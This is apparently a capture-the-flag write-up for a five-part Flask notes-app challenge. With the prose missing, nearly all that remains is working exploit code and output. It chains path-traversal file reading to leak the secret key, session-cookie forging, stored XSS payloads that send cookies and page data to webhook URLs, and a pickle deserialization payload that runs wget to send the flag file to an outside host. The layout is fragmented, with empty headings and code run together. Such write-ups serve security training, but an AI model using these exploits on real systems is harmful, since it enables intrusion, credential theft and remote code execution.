Intro to web
Part 1
Description
Solution





Part 2
Solution



Part 3
Solution

Part 4
Solution

Part 5
Solution

Last updated











Last updated
└─$ flask-unsign -c '.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFU6Ug.y8snKINH-NeVQueb3Ku5nJVcT-U' -d
{'user': {'role': 'user', 'username': 'admin'}}@app.route('/note/new', methods=['GET', 'POST'])
@login_required
def new_note():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
image_path = request.form['image_path']
note_id = str(uuid4())
notes[note_id] = {'owner': g.user, 'title': title, 'content': content, 'image_path': image_path}
flash('Note created', 'success')
return redirect(url_for('view_note', note_id=note_id))
return render_template('note_form.html', image_path=random.choice(['.img/1.png', '.img/2.png', '.img/3.png']),)from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd
URL = 'https://springville-of-nuclear-grade-stars.gpn23.ctf.kitctf.de'
with Session() as session:
session.post(URL + '/login', data={'username': 'admin', 'password': 'admin'})
while True:
lfi = input('LFI: ')
resp = session.post(URL + '/note/new', data={'title': 'a', 'content': 'b', 'image_path': lfi})
src = BS(resp.text, 'html.parser').find('img')['src']
data = src.split(',', 1)[1].strip()
if data:
data = bd(data).decode()
print(data)
else:
print('No data found for this LFI path. ' + lfi)
print('---')➜ py .\lfi.py
LFI: .img/../.env
FLASK_APP_SECRET_KEY=ab52f79ba61a6d7523245a53349f512c061f4008f0f857c54374a6bd08e53efff4b89fd8ffcdfb4c558f8fe3e7d320e3fe4a
FLAG_STAGE_1=GPNCTF{jU57_13ak_All_the_th1Ngs}def is_mod():
return g.user.get('role') in ['admin', 'moderator']└─$ flask-unsign -c '.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFU6Ug.y8snKINH-NeVQueb3Ku5nJVcT-U' -d
{'user': {'role': 'user', 'username': 'admin'}}
└─$ flask-unsign -s -c "{'user': {'role': 'admin', 'username': 'admin'}}" -S 'ab52f79ba61a6d7523245a53349f512c061f4008f0f857c54374a6bd08e53efff4b89fd8ffcdfb4c558f8fe3e7d320e3fe4a'
.eJyrViotTi1SsqpWKsrPSVWyUkpMyc3MU9IBC-cl5iKEamsBTh0PAg.aFVD-g.jxv9ow2II4PqUNfoKf6ozPk0WHI{# The reason is safe, why else would we allow it to be reported? #}
<p>Report reason: {{ note.reason|safe }}</p>from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd
from flask_unsign import decode, sign
import re
URL = 'https://silverridge-of-mega-ultra-unity.gpn23.ctf.kitctf.de'
with Session() as session:
## Debug
# session.proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
# }
# session.verify = False
session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
secret_key = bd(src).decode().split('\n')[0].split('=')[1]
note_id = resp.url.split('/')[-1]
print(f'Note ID: {note_id}')
print(f'Secret Key: {secret_key}')
cookie = decode(session.cookies['session'])
print(f'Cookie: {cookie}')
cookie['user']['role'] = 'admin'
cookie = sign(cookie, secret_key)
session.cookies.clear()
session.cookies.set('session', cookie)
print(f'Signed Cookie: {cookie}')
payload = "<script>fetch('https://uwuos.free.beeceptor.com/?c='.concat(document.cookie))</script>"
session.post(f'{URL}/report/{note_id}', data={'reason': payload})
print('Payload sent! Check webhook for the cookie.')
resp = session.get(f'{URL}/dashboard')
flag = re.search(r'GPNCTF\{[^\}]+\}', resp.text).group()
print(f'Flag: {flag}') Note ID: 4988f0f2-1011-4ca0-a6e7-1fcd627d46a1
Secret Key: aa46263ec7797dbbe44a335eedcf301af983368decc21bc835e5f4647edb4aa286127b63a100a9ac8e74da75ef90cfad8537
Cookie: {'user': {'role': 'user', 'username': 'admin'}}
Signed Cookie: .eJyrViotTi1SsqpWKsrPSVWyUkpMyc3MU9IBC-cl5iKEamsBTh0PAg.aFVOsg.uu2nUMKbcG3-A6FfMLbweAuypaU
Payload sent! Check webhook for the cookie.
Flag: GPNCTF{forg3_d15_JU1Cy_mOD}@app.route('/development', methods=['GET'])
@login_required
@moderator_required
@development_routes_required
def development():
return FLAG_STAGE_4, 200
def development_routes_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if not SHOW_DEVELOPMENT_ROUTES:
return 'Development routes are not enabled', 403
return f(*args, **kwargs)
return decorated
@app.route('/settings', methods=['POST'])
@login_required
@admin_required
def settings():
show_dev_routes = request.json.get('show_development_routes', False)
global SHOW_DEVELOPMENT_ROUTES
SHOW_DEVELOPMENT_ROUTES = show_dev_routes
flash('Settings updated', 'success')
return "Settings updated", 200ADMIN_PASSWORD_HASH = os.environ.get('ADMIN_PASSWORD_HASH')
def admin_required(f):
@wraps(f)
def decorated(*args, **kwargs):
# I only trust my self to know the admin password :)
if not hashlib.sha512(request.cookies.get('ADMIN_PASSWORD').encode()).hexdigest() == ADMIN_PASSWORD_HASH:
return 'Unauthorized - You must be a admin to access this page', 403
return f(*args, **kwargs)
return decoratedawait browser.setCookie({
domain: baseUrl.replace('http://', '').replace('https://', ''),
name: 'ADMIN_PASSWORD',
value: password,
httpOnly: true,
})from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd
from flask_unsign import decode, sign
URL = 'https://grandforge-of-cosmically-harmony.gpn23.ctf.kitctf.de'
with Session() as session:
## Debug
# session.proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
# }
# session.verify = False
session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
secret_key = bd(src).decode().split('\n')[0].split('=')[1]
note_id = resp.url.split('/')[-1]
print(f'Note ID: {note_id}')
print(f'Secret Key: {secret_key}')
cookie = decode(session.cookies['session'])
print(f'Cookie: {cookie}')
cookie['user']['role'] = 'admin'
cookie = sign(cookie, secret_key)
session.cookies.clear()
session.cookies.set('session', cookie)
print(f'Signed Cookie: {cookie}')
payload = """
<script>
fetch('/settings', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ show_development_routes: true })
});
fetch('/development')
.then(response => response.text())
.then(data => {
fetch('https://webhook.site/7279e6f8-3962-4b6a-8208-4fad54720b3d/?c=' + encodeURIComponent(data));
});
</script>
"""
session.post(f'{URL}/report/{note_id}', data={'reason': payload})
print('Payload sent!')with open(f"flag_{uuid4().hex + uuid4().hex + uuid4().hex}.txt", "w") as f:
f.write(FLAG_STAGE_5)@app.route('/development/cookie-sign', methods=['POST'])
@login_required
@moderator_required
@development_routes_required
def sign_cookie():
"""Development route to learn how signing cookies works."""
value = request.data.decode('utf-8')
secret_key = app.secret_key.encode()
signature = hashlib.sha256((value + secret_key.decode()).encode()).hexdigest()
data = pickle.dumps({'value': value, 'signature': signature, }, 0)
return {'cookie': f"{base64.b64encode(data).decode("utf-8")}"}, 200
@app.route('/development/cookie-verify', methods=['POST'])
@login_required
@moderator_required
@development_routes_required
def verify_cookie():
"""Development route to validat the signature of the cookie is valid."""
data = request.json.get('cookie')
try: data = pickle.loads(base64.b64decode(data))
except: return "Invalid data :/", 400
value = data.get('value')
signature = data.get('signature')
if not value or not signature: return "Missing signature or value", 400
secret_key = app.secret_key.encode()
expected_signature = hashlib.sha256((value + secret_key.decode()).encode()).hexdigest()
if expected_signature != signature: return "Invalid signature", 400
return "Valid Cookie!", 200import os
from requests import Session
from bs4 import BeautifulSoup as BS
from base64 import b64decode as bd, b64encode
from flask_unsign import decode, sign
import pickle
URL = 'https://lakefield-of-apocalyptic-power.gpn23.ctf.kitctf.de'
# URL = 'http://127.0.0.1:9222'
class LetMeIn:
def __reduce__(self):
return (os.system,("wget --post-file=$(ls -1 /app/flag*) https://webhook.site/7279e6f8-3962-4b6a-8208-4fad54720b3d/?letmein -O-",))
with Session() as session:
## Debug
# session.proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
# }
# session.verify = False
session.post(f'{URL}/login', data={'username': 'admin', 'password': 'admin'})
resp = session.post(f'{URL}/note/new', data={'title': 'a', 'content': 'b', 'image_path': '.img/../.env'})
src = BS(resp.text, 'html.parser').find('img')['src'].split(',', 1)[1].strip()
secret_key = bd(src).decode().split('\n')[0].split('=')[1]
note_id = resp.url.split('/')[-1]
print(f'Note ID: {note_id}')
print(f'Secret Key: {secret_key}')
cookie = decode(session.cookies['session'])
print(f'Cookie: {cookie}')
cookie['user']['role'] = 'admin'
cookie = sign(cookie, secret_key)
session.cookies.clear()
session.cookies.set('session', cookie)
print(f'Signed Cookie: {cookie}')
payload = """
<script>
fetch('/settings', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ show_development_routes: true })
});
"""
session.post(f'{URL}/report/{note_id}', data={'reason': payload})
print('Payload sent!')
rce_payload = b64encode(pickle.dumps(LetMeIn())).decode()
print(f"RCE payload: {rce_payload}")
resp = session.post(f'{URL}/development/cookie-verify', json={'cookie': rce_payload})
print(resp.text)